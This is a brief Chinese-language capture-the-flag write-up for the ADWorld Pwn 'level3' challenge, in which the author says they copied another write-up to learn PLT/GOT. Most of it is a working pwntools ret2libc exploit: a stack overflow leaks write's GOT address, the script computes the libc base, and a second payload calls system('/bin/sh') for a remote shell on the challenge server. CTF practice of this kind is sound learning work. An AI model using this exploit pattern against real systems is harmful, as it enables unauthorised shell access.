ADWorld Pwn level3

完全看着WriteUp写的,里面说了个PLT和GOT表,这个概念之前接触过一点,但没怎么用过。模仿人家代码的时候也没怎么细想。先敲一遍将来就理解深刻了。

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from pwn import *
p = remote("111.198.29.45",33161)
elf = ELF("./level3")
libc = ELF("./libc_32.so.6")
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']
p.recvuntil(":\n")
payload=b'0'*0x88+p32(0)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write_got_addr=u32(p.recv())
print(hex(write_got_addr))
libc_base=write_got_addr-libc.sym['write']
print(hex(libc_base))
system_addr=libc_base+libc.sym['system']
print(hex(system_addr))
binshaddr=libc_base+0x15902B
print(hex(binshaddr))
payload2=b'0'*0x88+p32(0)+p32(system_addr)+p32(0)+p32(binshaddr)
p.recvuntil(":\n")
p.sendline(payload2)
p.interactive()

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